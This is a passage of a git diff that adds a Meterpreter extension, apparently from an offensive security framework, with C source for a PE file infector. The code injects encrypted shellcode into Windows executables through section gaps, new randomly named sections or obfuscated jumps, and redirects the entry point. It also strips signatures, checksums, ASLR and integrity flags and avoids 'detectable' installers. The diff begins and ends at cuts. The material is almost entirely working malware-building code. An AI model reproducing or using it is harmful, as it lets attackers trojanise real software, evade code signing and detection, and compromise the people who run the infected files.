Section Headers + DATA_BLOBC *section_data; //!< Section data + DATA_BLOB_EX header_padding; //!< Padding between Headers and Section data + DATA_BLOB_EX *additional_data; //!< Additional binary data inside PE File + size_t additional_count; //!< Additional binary data count +} PEFILE; + +/** + * Options for writing PE files + */ +typedef struct _PEFILE_WRITE_OPTIONS { + bool recaluclate_checksum; //!< Recalculate Image Checksum after writing + bool header_only; //!< Writes header only + bool force_additional; //!< Forces writing of additional data (only in combination with header_only) +} PEFILE_WRITE_OPTIONS; + +/** + * Options for reading PE files + */ +typedef struct _PEFILE_READ_OPTIONS { + bool header_only; //!< Analyzes header only + bool force_additional; //!< Forces reading of additional data (only in combination with header_only) +} PEFILE_READ_OPTIONS; + +/** +* Initializes PEFILE structure +* +*/ +void pefile_init(PEFILE *in); + +/** + * Parses PE File data from memory + * + * \param mem Input memory + * \param memsize Input memory size + * \param options Options for reading, Ignored if NULL + * \param out Output PEFILE structure + * + * \return true on success, false otherwise + */ +bool pefile_read_mem(unsigned char *mem, size_t memsize, PEFILE_READ_OPTIONS *options, PEFILE *out); + +/** + * Parses PE File data from files + * + * \param file Input file + * \param options Options for reading, Ignored if NULL + * \param out Output PEFILE structure + * + * \return true on success, false otherwise + */ +bool pefile_read_file(char *file, PEFILE_READ_OPTIONS *options, PEFILE *out); + +/** + * Writes PE File data to memory + * + * \param in Input PEFILE structure + * \param options Options for writing, Ignored if NULL + * \param mem Output memory + * \param memsize Output memory size + * + * \return true on success, false otherwise + */ +bool pefile_write_mem(PEFILE *in, PEFILE_WRITE_OPTIONS *options, unsigned char **mem, size_t *memsize); + +/** + * Writes PE File data to files + * + * \param in Input PEFILE structure + * \param options Options for writing, Ignored if NULL + * \param file Output file + * + * \return true on success, false otherwise + */ +bool pefile_write_file(PEFILE *in, PEFILE_WRITE_OPTIONS *options, char* file); + +/** + * Clears PEFILE structure + * + * \param in Input PEFILE structure + */ +void pefile_free(PEFILE *in); + +/** +* Get PEFILE architecture +* +* \param file Input file +*/ +uint16_t get_file_architecture(char * target_executable_path); + +#endif /* LIBPEFILE_H_ */ diff --git a/c/meterpreter/source/extensions/peinjector/libpeinfect.c b/c/meterpreter/source/extensions/peinjector/libpeinfect.c new file mode 100755 index 00000000..a80f1a2d --- /dev/null +++ b/c/meterpreter/source/extensions/peinjector/libpeinfect.c @@ -0,0 +1,819 @@ +/* + * \file libpeinfect.c + * \brief Infects a PE File with a given payload + */ + +#include +#include +#include "libpeinfect.h" +#include "libpeinfect_obfuscator.h" + + /* Min/Max Macros */ +#define MIN(_a, _b) ((_a) < (_b) ? (_a) : (_b)) +#define MAX(_a, _b) ((_a) > (_b) ? (_a) : (_b)) + +/* Executable Section */ +#define EXECUTABLE_CHARACTERISTICS (IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_EXECUTE) + +/* Patch Helper structure (INTERNAL USE ONLY) */ +typedef struct _PATCH_HELPER { + size_t infected_section; // Infected section + size_t old_rawsize; // Old rawsize of section + size_t old_virtualsize; // Old virtualsize of section + size_t old_rawheadersize; // Old size of raw header + size_t old_headerpaddingsize; // Old size of header padding + size_t method; // Method used + struct _PATCH_HELPER *jmp; // Cross section jmp + unsigned char *jmp_code; // Cross section jmp shellcode + size_t jmpsize; // Cross section jmp size +} PATCH_HELPER; + + +/* Checks if it's safe to infect file */ +static bool __peinfect_check_stealth(PEINFECT *in_infect, PEFILE *in_pe) { + uint32_t i = 0; + if (!in_infect->try_stealth) { + return true; + } + + /* .ndata section (NSIS Installer) */ + for (i = 0; i < in_pe->pe_header.NumberOfSections; ++i) { + if (strcmp((char *)&in_pe->section_header[i].Name, ".ndata") == 0) { + return false; + } + } + + return true; +} + +/* Clean Header fields (ASLR, Checksum, Signature DataDir, ...) */ +static void __peinfect_clean_header(PEINFECT *in, PEFILE *out) { + /* 32 bit */ + if (out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) { + out->optional_header_32.CheckSum = 0x00; /* Zero Checksum */ + out->optional_header_32.DataDirectory[DIR_SECURITY].Size = 0x00; /* Zero Signature */ + out->optional_header_32.DataDirectory[DIR_SECURITY].VirtualAddress = 0x00; /* Zero Signature */ + out->optional_header_32.DllCharacteristics &= ~IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE; /* Remove ASLR Flag*/ + out->optional_header_32.DllCharacteristics &= ~IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY; /* Remove Force Integrity Check */ + + /* 64 bit */ + } + else { + out->optional_header_64.CheckSum = 0x00; /* Zero Checksum */ + out->optional_header_64.DataDirectory[DIR_SECURITY].Size = 0x00; /* Zero Signature */ + out->optional_header_64.DataDirectory[DIR_SECURITY].VirtualAddress = 0x00; /* Zero Signature */ + out->optional_header_64.DllCharacteristics &= ~IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE; /* Remove ASLR Flag */ + out->optional_header_64.DllCharacteristics &= ~IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY; /* Remove Force Integrity Check */ + + } +} + +/* Build payload from pre-configured and add return to OEP */ +static unsigned char * __peinfect_build_payload(PEINFECT *in_infect, PEFILE *in_pe, size_t *payloadsize) { + unsigned char *returncode = NULL; + size_t returnsize = 0; + unsigned char *payload = NULL; + unsigned char *payload_encrypted = NULL; + uint32_t i = 0; + + /* Build return code */ + returncode = peinfect_obfuscator_build_ep_jmp(in_pe, &returnsize); + if (returncode == NULL) { + return NULL; + } + + /* 32 bit */ + if (in_pe->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) { + /* payload present? */ + if (in_infect->shellcode_x86 == NULL) { + return NULL; + } + *payloadsize = in_infect->shellcode_x86size + returnsize; + + /* Allocate memory for payload and return */ + payload = (unsigned char *)malloc(*payloadsize); + if (payload == NULL) { + free(returncode); + return NULL; + } + + /* Copy shellcode */ + memcpy(payload, in_infect->shellcode_x86, in_infect->shellcode_x86size); + /* Copy return code */ + memcpy(payload + in_infect->shellcode_x86size, returncode, returnsize); + + /* 64 bit */ + } + else { + /* payload present? */ + if (in_infect->shellcode_x64 == NULL) { + return NULL; + } + *payloadsize = in_infect->shellcode_x64size + returnsize; + + /* Allocate memory for payload and return */ + payload = (unsigned char *)malloc(*payloadsize); + if (payload == NULL) { + free(returncode); + return NULL; + } + + /* Copy shellcode */ + memcpy(payload, in_infect->shellcode_x64, in_infect->shellcode_x64size); + /* Copy return code */ + memcpy(payload + in_infect->shellcode_x64size, returncode, returnsize); + } + + /* Free return code */ + free(returncode); + + /* Encode payload */ + if (in_infect->encrypt) { + /* Iterative encoding */ + for (i = 0; i < in_infect->encrypt_iterations; ++i) { + /* Try to encode */ + payload_encrypted = peinfect_obfuscator_encrypt_payload(payload, *payloadsize, &returnsize, + !(in_pe->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC)); + if (payload_encrypted != NULL) { + free(payload); + payload = payload_encrypted; + *payloadsize = returnsize; + } + } + } + + return payload; +} + +/* Generates random section name */ +static void __peinfect_random_sectionname(char *mem, size_t memsize) { + size_t rnd; + + /* Nothing to do */ + if (mem == NULL || memsize == 0) { + return; + } + + mem[0] = '.'; + /* Fill with random AlphaNumerics*/ + while (--memsize != 0) { + rnd = rand() % 3; + if (rnd == 1) { /* 0 - 9*/ + mem[memsize] = 0x30 + rand() % 10; + } + else if (rnd == 2) { /* A - Z */ + mem[memsize] = 0x41 + rand() % 26; + } + else { /* a - z */ + mem[memsize] = 0x61 + rand() % 26; + } + } +} + +/* Try infecting using alignment gap */ +static int __peinfect_infect_alignment(PEINFECT *in, unsigned char *payload, size_t payloadsize, + PATCH_HELPER *helper, int no_use_section, PEFILE *out) { + size_t i; + uint32_t ep; + uint32_t old_virtsize; + uint32_t old_rawsize; + + /* Method allowed? */ + if (!(in->methods & METHOD_ALIGNMENT)) { + return false; + } + + /* Clear helper structure */ + if (helper != NULL) { + memset(helper, 0, sizeof(PATCH_HELPER)); + } + + /* Need Entry Point */ + if (out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) { + if (out->optional_header_32.AddressOfEntryPoint == 0) { + return false; + } + } + else { + if (out->optional_header_64.AddressOfEntryPoint == 0) { + return false; + } + } + + for (i = 0; i < out->pe_header.NumberOfSections; ++i) { + /* Don't use this section */ + if (no_use_section == (int)i) { + continue; + } + + /* Section is Executable */ + if ((in->methods & METHOD_CHANGE_FLAGS) + || ((out->section_header[i].Characteristics & IMAGE_SCN_CNT_CODE) + && (out->section_header[i].Characteristics & IMAGE_SCN_MEM_READ) + && (out->section_header[i].Characteristics & IMAGE_SCN_MEM_WRITE) + && (out->section_header[i].Characteristics & IMAGE_SCN_MEM_EXECUTE))) { + + /* Size Available */ + if ((out->section_header[i].SizeOfRawData > out->section_header[i].Misc.VirtualSize) + && ((out->section_header[i].SizeOfRawData - out->section_header[i].Misc.VirtualSize) >= payloadsize)) { + + /* New Entry Point */ + ep = out->section_header[i].VirtualAddress + out->section_header[i].Misc.VirtualSize; + old_virtsize = out->section_header[i].Misc.VirtualSize; + old_rawsize = out->section_header[i].SizeOfRawData; + + /* Save helper data for patch */ + if (helper != NULL) { + helper->infected_section = i; + helper->old_virtualsize = old_virtsize; + helper->old_rawsize = old_rawsize; + helper->method = METHOD_ALIGNMENT; + } + + /* Update Section */ + if (petool_resize_section(i, old_rawsize, old_virtsize + payloadsize, (helper != NULL), out)) { + /* Copy payload in position */ + if (helper == NULL) { + memcpy(out->section_data[i].mem + old_virtsize, payload, payloadsize); + } + + /* Set new EntryPoint */ + if (out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) { + out->optional_header_32.AddressOfEntryPoint = ep; + } + else { + out->optional_header_64.AddressOfEntryPoint = ep; + } + + /* Change flags if needed */ + if (in->methods & METHOD_CHANGE_FLAGS) { + out->section_header[i].Characteristics |= EXECUTABLE_CHARACTERISTICS; + } + + /* Infect OK */ + return i + 1; + } + } + } + } + + /* :( */ + return false; +} + +/* Try infecting using alignment gap and resize */ +static int __peinfect_infect_alignment_resize(PEINFECT *in, unsigned char *payload, size_t payloadsize, + PATCH_HELPER *helper, int no_use_section, PEFILE *out) { + size_t i; + uint32_t ep; + uint32_t old_virtsize; + uint32_t old_rawsize; + uint32_t rawsize_delta; + + /* Method allowed? */ + if (!(in->methods & METHOD_ALIGNMENT_RESIZE)) { + return false; + } + + /* Clear helper structure */ + if (helper != NULL) { + memset(helper, 0, sizeof(PATCH_HELPER)); + } + + /* Need Entry Point */ + if (out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) { + if (out->optional_header_32.AddressOfEntryPoint == 0) { + return false; + } + } + else { + if (out->optional_header_64.AddressOfEntryPoint == 0) { + return false; + } + } + + for (i = 0; i < out->pe_header.NumberOfSections; ++i) { + /* Don't use this section */ + if (no_use_section == (int)i) { + continue; + } + + /* Section is Executable */ + if ((in->methods & METHOD_CHANGE_FLAGS) + || ((out->section_header[i].Characteristics & IMAGE_SCN_CNT_CODE) + && (out->section_header[i].Characteristics & IMAGE_SCN_MEM_READ) + && (out->section_header[i].Characteristics & IMAGE_SCN_MEM_WRITE) + && (out->section_header[i].Characteristics & IMAGE_SCN_MEM_EXECUTE))) { + + /* Size Available */ + if ((out->section_header[i].SizeOfRawData > out->section_header[i].Misc.VirtualSize) + && (((i + 1) >= out->pe_header.NumberOfSections) + || ((out->section_header[i + 1].VirtualAddress + - (out->section_header[i].VirtualAddress + out->section_header[i].Misc.VirtualSize)) >= payloadsize))) { + + /* New Entry Point */ + ep = out->section_header[i].VirtualAddress + out->section_header[i].Misc.VirtualSize; + old_virtsize = out->section_header[i].Misc.VirtualSize; + old_rawsize = out->section_header[i].SizeOfRawData; + + /* New Space needed */ + rawsize_delta = payloadsize - (old_rawsize - old_virtsize); + + /* Save helper data for patch */ + if (helper != NULL) { + helper->infected_section = i; + helper->old_virtualsize = old_virtsize; + helper->old_rawsize = old_rawsize; + helper->method = METHOD_ALIGNMENT_RESIZE; + } + + /* Update Section */ + if (petool_resize_section(i, old_rawsize + rawsize_delta, old_virtsize + payloadsize, (helper != NULL), out)) { + + /* Copy payload in position */ + if (helper == NULL) { + memcpy(out->section_data[i].mem + old_virtsize, payload, payloadsize); + } + + /* Set new EntryPoint */ + if (out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) { + out->optional_header_32.AddressOfEntryPoint = ep; + } + else { + out->optional_header_64.AddressOfEntryPoint = ep; + } + + /* Change flags if needed */ + if (in->methods & METHOD_CHANGE_FLAGS) { + out->section_header[i].Characteristics |= EXECUTABLE_CHARACTERISTICS; + } + + /* Infect OK */ + return i + 1; + } + } + } + } + + /* :( */ + return false; +} + +/* Try infecting inserting new section */ +static int __peinfect_infect_new_section(PEINFECT *in, unsigned char *payload, size_t payloadsize, + PATCH_HELPER *helper, int no_use_section, PEFILE *out) { + int returnVar = false; + char *section_name = NULL; + size_t section_namesize = 0; + char rnd_sectionname[NT_SHORT_NAME_LEN] = { 0 }; + + /* Method allowed? */ + if (!(in->methods & METHOD_NEW_SECTION)) { + return false; + } + + /* Clear helper structure */ + if (helper != NULL) { + memset(helper, 0, sizeof(PATCH_HELPER)); + } + + /* Need Entry Point */ + if (out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) { + if (out->optional_header_32.AddressOfEntryPoint == 0) { + return false; + } + } + else { + if (out->optional_header_64.AddressOfEntryPoint == 0) { + return false; + } + } + + /* Save helper data for patch */ + if (helper != NULL) { + helper->old_rawheadersize = out->dos_header.e_lfanew + sizeof(PE_HEADER) + out->pe_header.SizeOfOptionalHeader + + out->pe_header.NumberOfSections * sizeof(SECTION_HEADER) + out->header_padding.memsize; + helper->old_headerpaddingsize = out->header_padding.memsize; + } + + /* Random section name? */ + if (in->rnd_sectionname) { + section_namesize = (NT_SHORT_NAME_LEN / 2) + rand() % (NT_SHORT_NAME_LEN / 2 + 1); + __peinfect_random_sectionname(rnd_sectionname, section_namesize); + section_name = rnd_sectionname; + } + else { + section_name = in->section_name; + section_namesize = in->section_namesize; + } + + /* Try add section */ + if (petool_add_section(section_name, section_namesize, EXECUTABLE_CHARACTERISTICS, payload, payloadsize, + (helper != NULL), out)) { + /* New Entry Point*/ + if (out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) { + out->optional_header_32.AddressOfEntryPoint = + out->section_header[out->pe_header.NumberOfSections - 1].VirtualAddress; + } + else { + out->optional_header_64.AddressOfEntryPoint = + out->section_header[out->pe_header.NumberOfSections - 1].VirtualAddress; + } + + /* Save helper data for patch */ + if (helper != NULL) { + helper->infected_section = out->pe_header.NumberOfSections - 1; + helper->method = METHOD_NEW_SECTION; + } + + returnVar = out->pe_header.NumberOfSections; + } + + return returnVar; +} + +/* Try infecting using hidden jmp method */ +static bool __peinfect_infect_cross_section_jmp(PEINFECT *in, unsigned char *payload, size_t payloadsize, + PATCH_HELPER *helper, int no_use_section, PEFILE *out) { + size_t jmpsize = 0; + uint32_t section = 0; + uint32_t jmp_section = 0; + PATCH_HELPER *jmp_helper = NULL; + size_t i = 0; + unsigned char *jmp_payload = NULL; + + /* Method allowed? */ + if (!(in->methods & METHOD_CROSS_SECTION_JUMP)) { + return false; + } + + /* Clear helper structure */ + if (helper != NULL) { + memset(helper, 0, sizeof(PATCH_HELPER)); + } + + /* Need Entry Point */ + if (out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) { + if (out->optional_header_32.AddressOfEntryPoint == 0) { + return false; + } + } + else { + if (out->optional_header_64.AddressOfEntryPoint == 0) { + return false; + } + } + + /* Infect normal */ + if (!((section = __peinfect_infect_alignment(in, payload, payloadsize, helper, no_use_section, out)) || (section = + __peinfect_infect_alignment_resize(in, payload, payloadsize, helper, no_use_section, out)) || (section = + __peinfect_infect_new_section(in, payload, payloadsize, helper, no_use_section, out)))) { + return false; + } + + /* Insert jumps */ + for (i = 0; i < in->jump_iterations; ++i) { + + /* Build jmp */ + jmp_payload = peinfect_obfuscator_build_ep_jmp(out, &jmpsize); + + /* Exit, no JMP shellcode */ + if (jmp_payload == NULL) { + return true; + } + + /* Build jmp helper struct if needed */ + if (helper != NULL) { + jmp_helper = malloc(sizeof(PATCH_HELPER)); + if (jmp_helper == NULL) { + free(jmp_payload); + return true; + } + memset(jmp_helper, 0, sizeof(PATCH_HELPER)); + } + + /* Inject jmp in another section*/ + if (!((jmp_section = __peinfect_infect_alignment(in, jmp_payload, jmpsize, jmp_helper, section - 1, out)) + || (jmp_section = __peinfect_infect_new_section(in, jmp_payload, jmpsize, jmp_helper, section - 1, out)))) { + free(jmp_payload); + if (jmp_helper != NULL) { + free(jmp_helper); + } + return true; + } + section = jmp_section; + + /* Safe jmp payload */ + if (helper != NULL) { + helper->jmp = jmp_helper; + jmp_helper->jmp_code = jmp_payload; + jmp_helper->jmpsize = jmpsize; + helper = jmp_helper; + } + else { + /* Free tmp payload */ + free(jmp_payload); + } + } + + return true; +} + +void peinfect_init(PEINFECT *out) { + memset(out, 0, sizeof(PEINFECT)); + + /* For the glory of beelzebub and random section names */ + srand(time(NULL)); + + /* Allow all methods, except METHOD_CROSS_SECTION_JUMP */ + out->methods = METHOD_NEW_SECTION; //METHOD_ALL & ~METHOD_CROSS_SECTION_JUMP; //VERIFY THIS + + /* Remove integrity checks */ + out->remove_integrity = true; + + /* Random section names */ + out->rnd_sectionname = true; + + /* Cross section jump interations */ + out->jump_iterations = 1; + + /* Encrypt shellcode */ + out->encrypt = true; + + /* Encryption iterations */ + out->encrypt_iterations = 1; + + /* Try to be stealthy */ + out->try_stealth = true; +} + +void peinfect_set_sectionname(char *section_name, size_t section_namesize, bool random, PEINFECT *out) { + + char *old_section_name = NULL; + + /* Remove old section name */ + if (out->section_name != NULL) { + /* Don't free here so that the swap is an atomic operation + and it's possible to change section name while it's used + in another thread for infection without the possibility of + a use-after-free. Not the cleanest solution, but better + than heavy synchronization overhead */ + old_section_name = out->section_name; + out->section_name = NULL; + } + + /* Set New section name */ + if ((!random) && section_name != NULL) { + /* Limit size according to PE COFF */ + out->section_namesize = MIN(NT_SHORT_NAME_LEN, section_namesize); + /* Copy new section name */ + out->section_name = malloc(out->section_namesize + 1); + if (out->section_name != NULL) { + memcpy(out->section_name, section_name, out->section_namesize); + out->section_name[out->section_namesize] = 0x00; + } + } + + /* Random Section Name?*/ + out->rnd_sectionname = random; + + /* Free old section Name*/ + if (old_section_name != NULL) { + free(old_section_name); + } +} + +char* peinfect_get_sectionname(PEINFECT *in) { + return in->section_name; +} + +void peinfect_set_methods(PEINFECT_METHOD methods, PEINFECT *out) { + /* Set Methods */ + out->methods = methods; +} + +PEINFECT_METHOD peinfect_get_methods(PEINFECT *in) { + return in->methods; +} + +void peinfect_set_jumpiterations(uint32_t iterations, PEINFECT *out) { + /* Set Iterations */ + out->jump_iterations = MIN(MAX(iterations, 1), 64); +} + +uint32_t peinfect_get_jumpiterations(PEINFECT *in) { + return in->jump_iterations; +} + +void peinfect_set_encryptiterations(uint32_t iterations, PEINFECT *out) { + /* Set Iterations */ + out->encrypt_iterations = MIN(MAX(iterations, 1), 16); +} + +uint32_t peinfect_get_encryptiterations(PEINFECT *in) { + return in->encrypt_iterations; +} + +void peinfect_set_removeintegrity(bool remove_integrity, PEINFECT *out) { + out->remove_integrity = remove_integrity; +} + +bool peinfect_get_removeintegrity(PEINFECT *in) { + return in->remove_integrity; +} + +void peinfect_set_encrypt(bool encrypt, PEINFECT *out) { + out->encrypt = encrypt; +} + +bool peinfect_get_encrypt(PEINFECT *in) { + return in->encrypt; +} + +void peinfect_set_trystaystealth(bool try_stealth, PEINFECT *out) { + out->try_stealth = try_stealth; +} + +bool peinfect_get_trystaystealth(PEINFECT *in) { + return in->try_stealth; +} + +bool peinfect_set_shellcode(unsigned char *mem, size_t memsize, bool x64, PEINFECT *out) { + unsigned char *newmem = NULL; + unsigned char *oldmem = NULL; + + /* Allocate memory and copy new shellcode */ + if (memsize) { + newmem = malloc(memsize); + if (newmem == NULL) { + return false; + } + memcpy(newmem, mem, memsize); + } + + /* Set x64 Shellcode */ + if (x64) { + /* Store old memory pointer */ + if (out->shellcode_x64 != NULL) { + oldmem = out->shellcode_x64; + } + /* Set shellcode size and mem */ + out->shellcode_x64 = newmem; + out->shellcode_x64size = memsize; + + /* Reset counter */ + out->infect_cnt_x64 = 0; + + /* Set x86 Shellcode */ + } + else { + /* Store old memory pointer */ + if (out->shellcode_x86 != NULL) { + oldmem = out->shellcode_x86; + } + /* Set shellcode size and mem */ + out->shellcode_x86 = newmem; + out->shellcode_x86size = memsize; + + /* Reset counter */ + out->infect_cnt_x86 = 0; + } + + /* Free old memory */ + if (oldmem != NULL) { + free(oldmem); + } + + return true; +} + +unsigned char* peinfect_get_shellcode(PEINFECT *in, bool x64) { + return x64 ? in->shellcode_x64 : in->shellcode_x86; +} + +bool peinfect_infect_full(unsigned char *mem, size_t memsize, PEINFECT *in, PEFILE *out) { + unsigned char *payload; + size_t payloadsize; + bool returnVar = false; + + /* Try parse PE File */ + if (!pefile_read_mem(mem, memsize, NULL, out)) { + return false; + } + + /* Optional Header present? */ + if (!((out->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) + || (out->optional_header_64.Magic == NT_OPTIONAL_64_MAGIC))) { + return false; + } + + /* Clean Header fields (ASLR, Checksum, Signature DataDir, ...) */ + if (in->remove_integrity) { + __peinfect_clean_header(in, out); + } + + /* Stealth checks */ + if (!__peinfect_check_stealth(in, out)) { + return false; + } + + /* Build payload */ + if ((payload = __peinfect_build_payload(in, out, &payloadsize)) == NULL) { + return false; + } + + /* Try hidden jump inject */ + if (__peinfect_infect_cross_section_jmp(in, payload, payloadsize, NULL, -1, out)) + returnVar = true; + + /* Try alignment inject */ + if (__peinfect_infect_alignment(in, payload, payloadsize, NULL, -1, out)) + returnVar = true; + + /* Try alignment inject with resize */ + if (__peinfect_infect_alignment_resize(in, payload, payloadsize, NULL, -1, out)) + returnVar = true; + + /* Try new section */ + if (__peinfect_infect_new_section(in, payload, payloadsize, NULL, -1, out)) + returnVar = true; + + /* Free payload */ + free(payload); + + /* Free PE File if not successful */ + if (!returnVar) { + pefile_free(out); + } + + return returnVar; +} + +bool peinfect_infect_full_file(char *infile, PEINFECT *in, char *outfile) { + bool returnVar = false; + unsigned char *file_mem; + PEFILE pefile; + + /* Open file */ + FILE *fh = fopen(infile, "rb"); + + if (fh != NULL) { + + /* Get file size and allocate buffer */ + if (!fseek(fh, 0L, SEEK_END)) { + size_t size = ftell(fh); + size_t read_size = 0; + rewind(fh); + file_mem = malloc(size); + + if (file_mem != NULL) { + /* Load file into buffer */ + read_size = fread(file_mem, size, 1, fh); + fclose(fh); + fh = NULL; + + /* Process file in memory */ + if (read_size == 1) { + returnVar = peinfect_infect_full(file_mem, size, in, &pefile); + } + + /* free buffer after use */ + free(file_mem); + + /* Write file to disk*/ + if (returnVar) { + returnVar = pefile_write_file(&pefile, NULL, outfile); + } + } + } + + /* Close file (if memory allocation has failed) */ + if (fh != NULL) { + fclose(fh); + } + } + + return returnVar; +} + +void peinfect_free(PEINFECT *in) { + /* Free x86 Shellcode */ + if (in->shellcode_x86 != NULL) { + free(in->shellcode_x86); + } + + /* Free x64 Shellcode */ + if (in->shellcode_x64 != NULL) { + free(in->shellcode_x64); + } + + /* Free SectionName */ + if (in->section_name != NULL) { + free(in->section_name); + } + + /* Zero struct */ + memset(in, 0, sizeof(PEINFECT)); +} + + diff --git a/c/meterpreter/source/extensions/peinjector/libpeinfect.h b/c/meterpreter/source/extensions/peinjector/libpeinfect.h new file mode 100755 index 00000000..3576c911 --- /dev/null +++ b/c/meterpreter/source/extensions/peinjector/libpeinfect.h @@ -0,0 +1,254 @@ +/** + * \file libpeinfect.h + * \brief Infects a PE File with a given payload + */ + +#ifndef LIBPEINFECT_H_ +#define LIBPEINFECT_H_ + +#include +#include +#include +#include +#include "libpetool.h" + +/** + * Sentinel size of serialized patch + */ +#define PEINFECT_PATCH_SENTINELSIZE 9 + +/** + * Available Injection Methods + */ +typedef enum _PEINFECT_METHOD { + METHOD_ALIGNMENT = 1 << 0, //!< Alignment-gap only method + METHOD_ALIGNMENT_RESIZE = 1 << 1, //!< Alignment-gap and resize method + METHOD_NEW_SECTION = 1 << 2, //!< Insert new section method + METHOD_CHANGE_FLAGS = 1 << 3, //!< Change section flags (combined with alignment/alignment-resize) + METHOD_CROSS_SECTION_JUMP = 1 << 4, //!< Inserts obfuscated jump at entry point and hides payload in another section + METHOD_ALL = METHOD_ALIGNMENT | METHOD_ALIGNMENT_RESIZE | METHOD_NEW_SECTION | METHOD_CHANGE_FLAGS | METHOD_CROSS_SECTION_JUMP +} PEINFECT_METHOD; + +/** + * PE Infect control structure + */ +typedef struct _PEINFECT { + unsigned char *shellcode_x86; //!< Holds x86 shellcode + size_t shellcode_x86size; //!< Size of x86 shellcode + unsigned char *shellcode_x64; //!< Holds x64 shellcode + size_t shellcode_x64size; //!< Size of x64 shellcode + char *section_name; //!< Name of section to insert + size_t section_namesize; //!< Size of new section name + PEINFECT_METHOD methods; //!< Allowed infection methods + bool remove_integrity; //!< Removes integrity checks + bool rnd_sectionname; //!< Random section names + bool try_stealth; //!< Tries to check if infection could be detected + bool encrypt; //!< Encrypts shellcode before insertion + uint32_t encrypt_iterations; //!< Encryption iterations + uint32_t jump_iterations; //!< Cross section jump iterations + uint32_t infect_cnt_x86; //!< Infection counter x86 + uint32_t infect_cnt_x64; //!< Infection counter x64 +} PEINFECT; + +/** + * PE Infect patch structure + */ +typedef struct _PEINFECT_PATCH { + unsigned char *mem; //!< Pointer to memory of current patch part + size_t memsize; //!< Size of current patch part + size_t position; //!< Position of current patch part + bool insert; //!< If true patch will be inserted, overwritten otherwise + struct _PEINFECT_PATCH *next; //!< Pointer to next patch part +} PEINFECT_PATCH; + +/** + * Initializes a new PE Infector + * + * \param out PE Infector to initialize + * + */ +void peinfect_init(PEINFECT *out); + +/** + * Sets the section Name to use for a injected section + * + * \param section_name Name of new section if injected + * \param section_namesize Size of new section name + * \param random If true, previous params are ignored and a random section + * name will be used for each injection. (Enabled by default) + * \param out PE Infector to configure + * + */ +void peinfect_set_sectionname(char *section_name, size_t section_namesize, bool random, PEINFECT *out); + +/** + * Gets the section name used for infection + * + * \param in PE Infector + * + * \return section name if set, NULL otherwise + */ +char* peinfect_get_sectionname(PEINFECT *in); + +/** + * Sets the methods to use for infection (All are enabled by default, except METHOD_CROSS_SECTION_JUMP) + * + * \param methods Methods to use for infection + * \param out PE Infector to configure + * + */ +void peinfect_set_methods(PEINFECT_METHOD methods, PEINFECT *out); + +/** + * Gets the methods used for infection + * + * \param in PE Infector + * + * \return infection methods + */ +PEINFECT_METHOD peinfect_get_methods(PEINFECT *in); + +/** + * Sets the interations for cross section infection. (Limits: Min: 1 Max: 64) + * + * \param iterations Number of iterations to use + * \param out PE Infector to configure + * + */ +void peinfect_set_jumpiterations(uint32_t iterations, PEINFECT *out); + +/** + * Gets the interations for cross section infection + * + * \param in PE Infector + * + * \return Number of iterations used + */ +uint32_t peinfect_get_jumpiterations(PEINFECT *in); + +/** + * Sets the interations for encryption. (Limits: Min: 1 Max: 16) + * + * \param iterations Number of iterations to use + * \param out PE Infector to configure + * + */ +void peinfect_set_encryptiterations(uint32_t iterations, PEINFECT *out); + +/** + * Gets the interations for encryption + * + * \param in PE Infector + * + * \return Number of iterations used + */ +uint32_t peinfect_get_encryptiterations(PEINFECT *in); + +/** + * Enables encryption of payload (Enabled by default) + * + * \param encrypt Encrypts if true + * \param out PE Infector to configure + * + */ +void peinfect_set_encrypt(bool encrypt, PEINFECT *out); + +/** + * Gets the encryption of payload + * + * \param in PE Infector + * + * \return true if set, false otherwise + */ +bool peinfect_get_encrypt(PEINFECT *in); + +/** + * Enables removal of integrity checks (Enabled by default) + * + * \param remove_integrity Remove integrity if true + * \param out PE Infector to configure + * + */ +void peinfect_set_removeintegrity(bool remove_integrity, PEINFECT *out); + +/** + * Gets the removal of integrity checks flag + * + * \param in PE Infector + * + * \return true if set, false otherwise + */ +bool peinfect_get_removeintegrity(PEINFECT *in); + +/** + * Enables to try to stay stealth (Enabled by default) + * + * \param try_stealth Try to stay stealth if true + * \param out PE Infector to configure + * + */ +void peinfect_set_trystaystealth(bool try_stealth, PEINFECT *out); + +/** + * Gets the try stay stealth flag + * + * \param in PE Infector + * + * \return true if set, false otherwise + */ +bool peinfect_get_trystaystealth(PEINFECT *in); + +/** + * Sets shellcode to use + * + * \param mem Pointer to memory containing shellcode + * \param memsize Size of the shellcode + * \param x64 If true shellcode will used for x64 PE Files, x86 otherwise + * \param out PE Infector which will use the shellcode + * + * \return true on success, false otherwise + */ +bool peinfect_set_shellcode(unsigned char *mem, size_t memsize, bool x64, PEINFECT *out); + +/** + * Gets the shellcode used for infection + * + * \param in PE Infector + * \param x64 returns x64 shellcode if true, x86 otherwise + * + * \ return shellcode + */ +unsigned char* peinfect_get_shellcode(PEINFECT *in, bool x64); + +/** + * Infects PE File with preconfigured shellcode + * + * \param mem Pointer to memory containing PE File + * \param memsize Size of the PE File + * \param in Input PEINFECT structure for configuration + * \param out infected PE File + * + * \return true on success, false otherwise + */ +bool peinfect_infect_full(unsigned char *mem, size_t memsize, PEINFECT *in, PEFILE *out); + +/** + * Infects PE File from disk with preconfigured shellcode + * + * \param infile PE File to infect + * \param in Input PEINFECT structure for configuration + * \param outfile PE File to store + * + * \return true on success, false otherwise + */ +bool peinfect_infect_full_file(char *infile, PEINFECT *in, char *outfile); + +/** + * Clears PEINFECT structure + * + * \param in Input PEINFECT structure + */ +void peinfect_free(PEINFECT *in); + + +#endif /* LIBPEINFECT_H_ */ diff --git a/c/meterpreter/source/extensions/peinjector/libpeinfect_obfuscator.c 